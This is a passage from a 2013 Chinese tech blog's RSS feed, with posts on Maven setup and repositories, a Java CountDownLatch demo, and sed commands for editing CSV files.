&lt;p&gt;这里我这样输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;D:\&amp;gt;mvn install:install-file -Dfile=c:\kaptcha-2.3.jar -DgroupId=com.google.code 
-DartifactId=kaptcha -Dversion=2.3 -Dpackaging=jar
[INFO] Scanning for projects...
[INFO] Searching repository for plugin with prefix: &#39;install&#39;.
[INFO] ------------------------------------------------------------------------
[INFO] Building Maven Default Project
[INFO]    task-segment: [install:install-file] (aggregator-style)
[INFO] ------------------------------------------------------------------------
[INFO] [install:install-file]
[INFO] Installing c:\kaptcha-2.3.jar to 
D:\maven_repo\com\google\code\kaptcha\2.3\kaptcha-2.3.jar
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESSFUL
[INFO] ------------------------------------------------------------------------
[INFO] Total time: &amp;lt; 1 second
[INFO] Finished at: Tue May 12 13:41:42 SGT 2009
[INFO] Final Memory: 3M/6M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这样完成了。kaptcha已经存在本地库了&lt;/p&gt;
&lt;h2 id=&#34;2pomxml配置一下&#34;&gt;2.pom.xml配置一下&lt;/h2&gt;
&lt;pre&gt;&amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;com.google.code&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;kaptcha&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt;
 &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;这个前面说过了，Maven坐标嘛&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven仓库详解</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Thu, 19 Sep 2013 22:05:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E4%BB%93%E5%BA%93%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;本文由我翻译合并了多篇文章，整理成一篇。&lt;/p&gt;
&lt;h1 id=&#34;一本地仓库local-repository&#34;&gt;一.本地仓库(Local Repository)&lt;/h1&gt;
&lt;p&gt;本地仓库就是一个本机的目录，这个目录被用来存储我们项目的所有依赖（插件的jar包还有一些其他的文件），简单的说，当你build一个Maven项目的时候，所有的依赖文件都会放在本地仓库里，仓库供所有项目都可以使用&lt;/p&gt;
&lt;p&gt;默认情况下，本地仓库在.m2目录，windows下的话就是你的用户名目录下的.m2目录&lt;/p&gt;
&lt;h2 id=&#34;1更新本地仓库目录&#34;&gt;1.更新本地仓库目录&lt;/h2&gt;
&lt;p&gt;找到你的MAVEN_HOME目录下的conf/setting.xml文件，更新localRepository节点&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;maven_home/conf/setting.xml&#34;&gt;&amp;lt;settings&amp;gt;
  &amp;lt;!-- localRepository
   | The path to the local repository maven will use to store artifacts.
   |
   | Default: ~/.m2/repository
  &amp;lt;localRepository&amp;gt;/path/to/local/repo&amp;lt;/localRepository&amp;gt;
  --&amp;gt;

&amp;lt;localRepository&amp;gt;D:/maven/repo&amp;lt;/localRepository&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;2保存一下&#34;&gt; 2.保存一下&lt;/h2&gt;
&lt;p&gt;完成了。新的本地仓库被放在了D:/maven/repo&lt;/p&gt;
&lt;p&gt;看一下这个目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-local-repo.png&#34;&gt;&lt;img alt=&#34;maven-local-repo&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4bc19a12bd7d869d840c872a9c3bdbfbd55d339c.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&#34;二中央仓库central-repository&#34;&gt; 二.中央仓库(central repository)&lt;/h1&gt;
&lt;p&gt;当我们build一个Maven项目的时候，Maven会检查我们的pom.xml文件，来定义项目的依赖，然后Maven会在本地仓库里查找，如果没有找到，就去maven的中央库去下载，地址是&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://search.maven.org/#browse&#34;&gt;http://search.maven.org/#browse&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看起来是这样的&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-center-repository-search.png&#34;&gt;&lt;img alt=&#34;maven-center-repository-search&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1b90bc7c3b841d566a18777d661d40b159a29b16.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;注意啊，虽然这个是新的中央仓库，但有时候还是会从_“&lt;strong&gt;&lt;a href=&#34;http://repo1.maven.org/maven/&#34;&gt;http://repo1.maven.org/maven/&lt;/a&gt;&lt;/strong&gt;_这个旧仓库下载东西，不过不要紧，理解就行了&lt;/p&gt;
&lt;h1 id=&#34;三远程仓库remote-respository&#34;&gt;三.远程仓库(Remote Respository)&lt;/h1&gt;
&lt;p&gt;在Maven中，当你在pom.xml中生命的依赖既不在本地库，也不在中央库的时候，就会报错。&lt;/p&gt;
&lt;h2 id=&#34;1例子&#34;&gt;1.例子&lt;/h2&gt;
&lt;p&gt;org.jvnet.localizer这个包仅在&lt;a href=&#34;https://maven.java.net/content/repositories/public/&#34;&gt;java.net的仓库里&lt;/a&gt;有(以前是，现在中央仓库也有了。但理解就行)&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;   &amp;lt;dependency&amp;gt;
        &amp;lt;groupId&amp;gt;org.jvnet.localizer&amp;lt;/groupId&amp;gt;
        &amp;lt;artifactId&amp;gt;localizer&amp;lt;/artifactId&amp;gt;
        &amp;lt;version&amp;gt;1.8&amp;lt;/version&amp;gt;
    &amp;lt;/dependency&amp;gt;&lt;/pre&gt;
&lt;p&gt;当我们build的时候，会失败，并输出未找到错误信息&lt;/p&gt;
&lt;h2 id=&#34;2声明javanet仓库&#34;&gt;2.声明java.net仓库&lt;/h2&gt;
&lt;p&gt;为了告诉Maven从远程仓库里获取依赖，我们需要声明一个远程仓库，在pom.xml里这样写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  &amp;lt;repositories&amp;gt;
	&amp;lt;repository&amp;gt;
	    &amp;lt;id&amp;gt;java.net&amp;lt;/id&amp;gt;
	    &amp;lt;url&amp;gt;https://maven.java.net/content/repositories/public/&amp;lt;/url&amp;gt;
	&amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;&lt;/pre&gt;
&lt;p&gt;这样，Maven搜索依赖的顺序就是：&lt;/p&gt;
&lt;p&gt;1）搜索本地仓库，没有找到，就去第2步，否则退出&lt;/p&gt;
&lt;p&gt;2）搜索中央仓库，没有找到，就去第3步，否则退出&lt;/p&gt;
&lt;p&gt;3）去java.net远程仓库获取，没有找到，就报错，否则退出&lt;/p&gt;
&lt;p&gt;补充：JBoss也有个远程仓库，可以如下配置：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;project ...&amp;gt;
    &amp;lt;repositories&amp;gt;
      &amp;lt;repository&amp;gt;
	&amp;lt;id&amp;gt;JBoss repository&amp;lt;/id&amp;gt;
	&amp;lt;url&amp;gt;http://repository.jboss.org/nexus/content/groups/public/&amp;lt;/url&amp;gt;
      &amp;lt;/repository&amp;gt;
    &amp;lt;/repositories&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Maven安装教程</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</link>
      <pubDate>Thu, 19 Sep 2013 21:15:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/</guid>
      <description>&lt;p&gt;Maven不需要作为服务组件安装到windows上，仅仅需要下载，解压，然后配置一下环境变量就行了&lt;/p&gt;
&lt;h2 id=&#34;1jdk和java_home&#34;&gt;1.JDK和JAVA_HOME&lt;/h2&gt;
&lt;p&gt;确保JDK已经安装，同时JAVA_HOME变量已经添加到了windows环境变量里，指向jdk目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-java-home.png&#34;&gt;&lt;img alt=&#34;maven-java-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3161766919fb6fd118699cc45753f0740be3a6b4.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;2下载maven&#34;&gt;2.下载Maven&lt;/h2&gt;
&lt;p&gt;去&lt;a href=&#34;http://maven.apache.org/download.html&#34;&gt;Maven主页&lt;/a&gt;,选个版本，点击下载&lt;/p&gt;
&lt;h2 id=&#34;3解压&#34;&gt;3.解压&lt;/h2&gt;
&lt;p&gt;解压下载的zip文件，重命名，比如我放到D盘的Maven目录&lt;/p&gt;
&lt;h2 id=&#34;4添加maven_home环境变量&#34;&gt;4.添加MAVEN_HOME环境变量&lt;/h2&gt;
&lt;p&gt;添加一个新的环境变量MAVEN_HOME到环境变量，指向Maven目录&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/maven-maven-home.png&#34;&gt;&lt;img alt=&#34;maven-maven-home&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2878c27f389f27afa72040040a0cc54312b388.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;5添加path变量&#34;&gt;5.添加path变量&lt;/h2&gt;
&lt;p&gt;更新Path变量，把Maven的bin目录添加进去，这样就可以在任何地方执行mvn命令了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/09/Maven-Path.png&#34;&gt;&lt;img alt=&#34;Maven-Path&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ec2bd24fcc118b64cb10405acb807c59490c10d6.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;6验证&#34;&gt;6.验证&lt;/h2&gt;
&lt;p&gt;打开命令行，输入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn -version&lt;/pre&gt;
&lt;p&gt;如果看到类似下面的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;C:\Documents and Settings\mkyong&amp;gt;mvn -version
Apache Maven 2.2.1 (r801777; 2009-08-07 03:16:01+0800)
Java version: 1.6.0_13
Java home: C:\Program Files\Java\jdk1.6.0_13\jre
Default locale: en_US, platform encoding: Cp1252
OS name: &#34;windows xp&#34; version: &#34;5.1&#34; arch: &#34;x86&#34; Family: &#34;windows&#34;&lt;/pre&gt;
&lt;p&gt;Maven已经成功的安装配置了。&lt;/p&gt;
&lt;p&gt;老外写的太详细了。。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven实例入门-随机数生成</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</link>
      <pubDate>Thu, 19 Sep 2013 20:50:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E5%AE%9E%E4%BE%8B%E5%85%A5%E9%97%A8-%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%94%9F%E6%88%90/</guid>
      <description>&lt;p&gt;看了很多个例子，发现这个最好，译文中会带有我的一些了理解，有问题欢迎指出。&lt;/p&gt;
&lt;h2 id=&#34;0maven是什么&#34;&gt;0.Maven是什么？&lt;/h2&gt;
&lt;p&gt;Apache Maven，是一个软件（特别是Java软件）项目管理及自动构建工具，由Apache软件基金会所提供。基于项目对象模型（缩写：POM）概念，Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。&lt;/p&gt;
&lt;p&gt;可以看到，核心就是项目管理和自动构建了，从例子中将会体会更深。本例创建一个随机数生成程序。&lt;/p&gt;
&lt;h2 id=&#34;1从maven模板创建项目&#34;&gt;1.从Maven模板创建项目&lt;/h2&gt;
&lt;p&gt;Maven的环境变量配置和java类似，直接添加系统变量MAVEN_HOME指向你下载的maven目录，然后将bin目录添加到path环境变量里。&lt;/p&gt;
&lt;p&gt;在命令行下，进入到你想存储项目的位置，比如，我自己有个叫work的目录，那么我就cd到work目录，然后按下面的格式输入命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;mvn archetype:generate -DgroupId={project-packaging} -DartifactId={project-name} -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false&lt;/pre&gt;
&lt;p&gt;这是告诉Maven从**maven-archetype-quickstart **创建一个java项目，如果你这个参数不填，那么会列出一个列表，让你选择你想创建什么类型，比如web项目啊，啥的。&lt;/p&gt;
&lt;p&gt;友情提示：是不是太难记了..好吧，直接输入&lt;/p&gt;
&lt;pre&gt;mvn archetype:generate&lt;/pre&gt;
&lt;p&gt;根据向导来创建把。。&lt;/p&gt;
&lt;p&gt;比如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;gt;mvn archetype:generate -DgroupId=com.mkyong -DartifactId=NumberGenerator -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false
[INFO] Scanning for projects...
[INFO]                                                                         
[INFO] -- omitted for readability
[INFO] ----------------------------------------------------------------------------
[INFO] Using following parameters for creating project from Old (1.x) Archetype: maven-archetype-quickstart:1.0
[INFO] ----------------------------------------------------------------------------
[INFO] Parameter: groupId, Value: com.mkyong
[INFO] Parameter: packageName, Value: com.mkyong
[INFO] Parameter: package, Value: com.mkyong
[INFO] Parameter: artifactId, Value: NumberGenerator
[INFO] Parameter: basedir, Value: /Users/mkyong/Documents/workspace
[INFO] Parameter: version, Value: 1.0-SNAPSHOT
[INFO] project created from Old (1.x) Archetype in dir: /Users/mkyong/Documents/workspace/NumberGenerator
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.917s
[INFO] Finished at: Mon Dec 17 18:53:58 MYT 2012
[INFO] Final Memory: 9M/24M
[INFO] ------------------------------------------------------------------------&lt;/pre&gt;
&lt;p&gt;这里的groupId就是包名，artifactId就是类名，以后具体的一些其他参数我希望有时间可以跟大家分享。&lt;/p&gt;
&lt;h2 id=&#34;2maven目录结构&#34;&gt;2.Maven目录结构&lt;/h2&gt;
&lt;p&gt;上面的命令第一次执行的时候会从apache网站下载maven的一些其他东西，所以务必保持联网。执行成功后，会生成一个这样的目录结构&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;NumberGenerator
   |-src
   |---main
   |-----java
   |-------com
   |---------mkyong
   |-----------App.java
   |---test
   |-----java
   |-------com
   |---------mkyong
   |-----------AppTest.java
   |-pom.xml&lt;/pre&gt;
&lt;p&gt;这里main目录是我们的程序住代码目录。源代码会放在/src/main/java/包名 目录里，而单元测试代码会放在/src/test/java/包名 目录里。当然还有一个标准的pom.xml文件会生成。这个pom文件其实类似于Ant的build.xml文件，它包含了项目的信息，从目录结构到项目插件到项目依赖，都有了。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34; title=&#34;pom.xml&#34;&gt;&amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; 
	xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
  	xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 
	http://maven.apache.org/maven-v4_0_0.xsd&#34;&amp;gt;
  &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
  &amp;lt;groupId&amp;gt;com.mkyong&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;NumberGenerator&amp;lt;/artifactId&amp;gt;
  &amp;lt;packaging&amp;gt;jar&amp;lt;/packaging&amp;gt;
  &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt;
  &amp;lt;name&amp;gt;NumberGenerator&amp;lt;/name&amp;gt;
  &amp;lt;url&amp;gt;http://maven.apache.org&amp;lt;/url&amp;gt;
  &amp;lt;dependencies&amp;gt;
    &amp;lt;dependency&amp;gt;
      &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt;
      &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt;
      &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt;
      &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
    &amp;lt;/dependency&amp;gt;
  &amp;lt;/dependencies&amp;gt;
&amp;lt;/project&amp;gt;&lt;/pre&gt;
&lt;h2 id=&#34;3用eclipse写代码&#34;&gt;3.用Eclipse写代码&lt;/h2&gt;
&lt;p&gt;maven已经生成了一个完整的工程了，为了能够导入到eclipse里来编辑代码，我们可以把这个项目转换成eclipse可用的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Maven提示缺少tools.jar</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E6%8F%90%E7%A4%BA%E7%BC%BA%E5%B0%91tools.jar/</link>
      <pubDate>Thu, 19 Sep 2013 13:24:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E6%8F%90%E7%A4%BA%E7%BC%BA%E5%B0%91tools.jar/</guid>
      <description>&lt;p&gt;记录一下。&lt;/p&gt;
&lt;p&gt;这两天在熟悉Maven，长见识了.后续可能的话会写上一两篇，今天配置的时候提示tools.jar文件。于是使用everything搜了一下，本机的jdk目录还真没有，最后搜了一下，发现是安装jdk时候的问题，具体就是因为安装jdk的时候，后面被让继续安装jre，这个时候，我为了方便，将jre安装在了jdk的目录里，结果导致jre会覆盖到jdk的这两个文件。同时还会覆盖dt.jar这个包，于是，就没了。。这个问题略隐晦了..&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;重新安装了jdk，将jdk和jre分开目录，然后设置一下jdk的lib目录到classpath就可以了，问题解决。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Java中的CountDownLatch和CyclicBarrier</title>
      <link>http://blog.leaver.me/2013/09/15/%E8%AF%91java%E4%B8%AD%E7%9A%84countdownlatch%E5%92%8Ccyclicbarrier/</link>
      <pubDate>Sun, 15 Sep 2013 08:03:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/15/%E8%AF%91java%E4%B8%AD%E7%9A%84countdownlatch%E5%92%8Ccyclicbarrier/</guid>
      <description>&lt;p&gt;本文译自官方文档，有细微改动，Java多线程的时候，看了好多文档，还是官方说的最清楚。结合自己的理解，译之。&lt;/p&gt;
&lt;h2 id=&#34;countdownlatch&#34;&gt;CountDownLatch&lt;/h2&gt;
&lt;p&gt;字面意思就是倒计数闩，后面会讲到，这里的同步允许一个或多个线程等待，，知道其他线程进行的一系列操作完成。而CountDownLatch通过一个参数count（数目）来构造，而await（）则阻塞当前线程，直到countDown()将count减为了0，然后，所有的阻塞线程被释放，也就是那些调用了await方法的线程立即返回，注意，这是一次性的，也就是说count不能被自动重置，如果你想这么做，CyclicBarrier是可以的。&lt;/p&gt;
&lt;p&gt;CountDownLatch用处很多，当用count=1来构造的时候，这就相当于一个开关，所有调用了await方法的线程都在等待，直到有一个线程调用了countDown()，CountDownLatch通过count=N构造的话，就可以使一个线程等待其他N个线程完成操作，或者一个操作被做N次。&lt;/p&gt;
&lt;p&gt;简单的demo：&lt;/p&gt;
&lt;p&gt;一组worker（工人）线程使用两个CountDownLatch&lt;/p&gt;
&lt;p&gt;第一个是开始信号，用来阻止工人提前操作，直到(driver)传送带准备好了才允许开始&lt;/p&gt;
&lt;p&gt;第二个是完成信号，他使传送带等待直到所有的worker都完成&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; class Driver { // ...
   void main() throws InterruptedException {
     CountDownLatch startSignal = new CountDownLatch(1);
     CountDownLatch doneSignal = new CountDownLatch(N);

     for (int i = 0; i &amp;lt; N; ++i) // 创建并启动线程
       new Thread(new Worker(startSignal, doneSignal)).start();

     doSomethingElse();            // 传送带做点准备工作
     startSignal.countDown();      // 减为0，工人可以开始了
     doSomethingElse();
     doneSignal.await();           // 等待直到所有的工人完成任务
   }
 }

 class Worker implements Runnable {
   private final CountDownLatch startSignal;
   private final CountDownLatch doneSignal;
   Worker(CountDownLatch startSignal, CountDownLatch doneSignal) {
      this.startSignal = startSignal;
      this.doneSignal = doneSignal;
   }
   public void run() {
      try {
        startSignal.await();//工人们等待开关打开
        doWork();              //做事
        doneSignal.countDown(); //做完了就给countdownlatch 减去1
      } catch (InterruptedException ex) {} // return;
   }

   void doWork() { ... }
 }&lt;/pre&gt;
&lt;p&gt;另一个典型的例子就是把问题分成N部分，通过线程执行每一部分，具体的话是将线程入队到一个Executor对象里。然后调用execute方法。当执行完毕一部分，就并给latch 减去1，当减到0的时候调用await的方法就可以继续运行了，当需要重复计数的话，用CyclicBarrier代替&lt;/p&gt;
&lt;pre&gt;class Driver2 { // ...
   void main() throws InterruptedException {
     CountDownLatch doneSignal = new CountDownLatch(N);
     Executor e = ...

     for (int i = 0; i &amp;lt; N; ++i) // 创建并开始线程
       e.execute(new WorkerRunnable(doneSignal, i));

     doneSignal.await();           // 等待所有的线程完成
   }
 }

 class WorkerRunnable implements Runnable {
   private final CountDownLatch doneSignal;
   private final int i;
   WorkerRunnable(CountDownLatch doneSignal, int i) {
      this.doneSignal = doneSignal;
      this.i = i;
   }
   public void run() {
      try {
        doWork(i);
        doneSignal.countDown();
      } catch (InterruptedException ex) {} // 返回;
   }

   void doWork() { ... }
 }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Unix sed实用教程系列目录</title>
      <link>http://blog.leaver.me/2013/08/11/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</link>
      <pubDate>Sun, 11 Aug 2013 17:03:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</guid>
      <description>&lt;p&gt;本系列文章已经译完了，译自&lt;a href=&#34;http://www.theunixschool.com/p/awk-sed.html&#34;&gt;awk-sed@theunixschool&lt;/a&gt;,收获颇丰，作者没有将明白的我做了补充，并且尝试讲的更清楚，整理成系列索引，方便学习，开篇非译文,是我为了方便后面的理解写的一篇,感谢原作者的分享.有任何问题欢迎留言讨论.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3162.html&#34;&gt;Unix sed实用教程开篇&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3169.html&#34;&gt;[译]Unix sed实用教程第一篇–向文件中增加一行&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3174.html&#34;&gt;[译]Unix sed实用教程第二篇–替换文件内容&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3176.html&#34;&gt;[译]Unix sed实用教程第三篇–读写文件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3179.html&#34;&gt;[译]Unix sed实用教程第四篇–选择性打印&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3183.html&#34;&gt;[译]Unix sed实用教程第五篇–替换文件内容续&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3186.html&#34;&gt;[译]Unix sed实用教程第六篇–删除文件内容&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3191.html&#34;&gt;[译]Unix sed实用教程第七篇–输出文件内容(10 Demo)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3194.html&#34;&gt;[译]Unix sed实用教程第八篇–CSV文件操作&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第八篇–CSV文件操作</title>
      <link>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AB%E7%AF%87csv%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/</link>
      <pubDate>Sun, 11 Aug 2013 16:55:33 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AB%E7%AF%87csv%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C/</guid>
      <description>&lt;p&gt;本文作为sed使用教程的最后一篇，将比较全面的讲解如何操作csv文件，csv文件通过逗号分隔&lt;/p&gt;
&lt;p&gt;示例文件如下：&lt;/p&gt;
&lt;pre&gt;cat file
Solaris,25,11
Ubuntu,31,2
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.删除第一列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/[^,]*,//&#39; file
25,11
31,2
21,3
45,4
12,5&lt;/pre&gt;
&lt;p&gt;s开启替换模式，当^符号在中括号里的时候，就是非的意思，也就是说[^,]匹配了所有不是逗号的一个字符，然后后面的星号表示0个或多个，然后是一个逗号，也就是匹配&amp;quot;xxxx,&amp;ldquo;替换为空&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除除过最后一列的其他所有&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/.*,//&#39; file
11
2
3
4
5&lt;/pre&gt;
&lt;p&gt;sed先匹配任意多个字符，然后匹配最后一个“,”这就直接把前面的都匹配完了。替换为空即可。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.输出第一列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/,.*//&#39; file
Solaris
Ubuntu
Fedora
LinuxMint
RedHat&lt;/pre&gt;
&lt;p&gt;好理解把，先匹配第一列之后的逗号，然后是多个字符，然后替换为空&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.删除第二列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/,[^,]*,/,/&#39; file
Solaris,11
Ubuntu,2
Fedora,3
LinuxMint,4
RedHat,5&lt;/pre&gt;
&lt;p&gt;先匹配第一列之后的逗号，然后匹配一个或多个非逗号字符，这样就匹配了第二列的内容，然后再匹配一个逗号，我简化一下，比如该列是1，2，3，4，那么这一个匹配就是&amp;rdquo;,2,&amp;quot;，替换成一个逗号，就是1，3，4了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.输出第二列&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/[^,]*,\([^,]*\).*/\1/&#39; file
25
31
21
45
12&lt;/pre&gt;
&lt;p&gt;我们可以分析前两个斜线之间的内容&lt;/p&gt;
&lt;pre&gt;[^,]*,\([^,]*\).*&lt;/pre&gt;
&lt;p&gt;两个右斜线转移了括号，所以括号不是简单的符号，而是正则里的组的意义，圆括号的作用是对字符进行分组，并保存匹配的文本。这里先匹配非逗号的多个字符，然后一个逗号，然后再匹配第二列，并且第二列的匹配用括号括起来，然后匹配其他列，然后里面用\1来引用这个括号的内容，如果前面有两个括号，就可以使用\1或\2这样，分别表示第一个括号或第二个括号的匹配&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.输出最后一列是一位数字的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/.*,[0-9]$/p&#39; file
Ubuntu,31,2
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;.*匹配了前面的所有字符，然后,匹配了最后一个逗号，sed的贪婪原则。。然后[0-9]匹配一个数字$表示行尾.ok&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.给每一行自动添加行号&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed = file | sed &#39;N;s/\n/ /&#39;
1 Solaris,25,11
2 Ubuntu,31,2
3 Fedora,21,3
4 LinuxMint,45,4
5 RedHat,12,5&lt;/pre&gt;
&lt;p&gt;这个和cat -n file的效果是一样的。awk也可以很简单的做，这里使用一个=命令会在每一行之前添加一个行号，也就是是，如果执行&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;sed = file&lt;/pre&gt;
&lt;p&gt;文件会是：&lt;/p&gt;
&lt;pre&gt;1 
Solaris,25,11
2 
Ubuntu,31,2
3 
Fedora,21,3
4 
LinuxMint,45,4
5 
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;然后我们通过管道再执行&lt;/p&gt;
&lt;pre&gt;sed &#39;N;s/\n/ /&#39;&lt;/pre&gt;
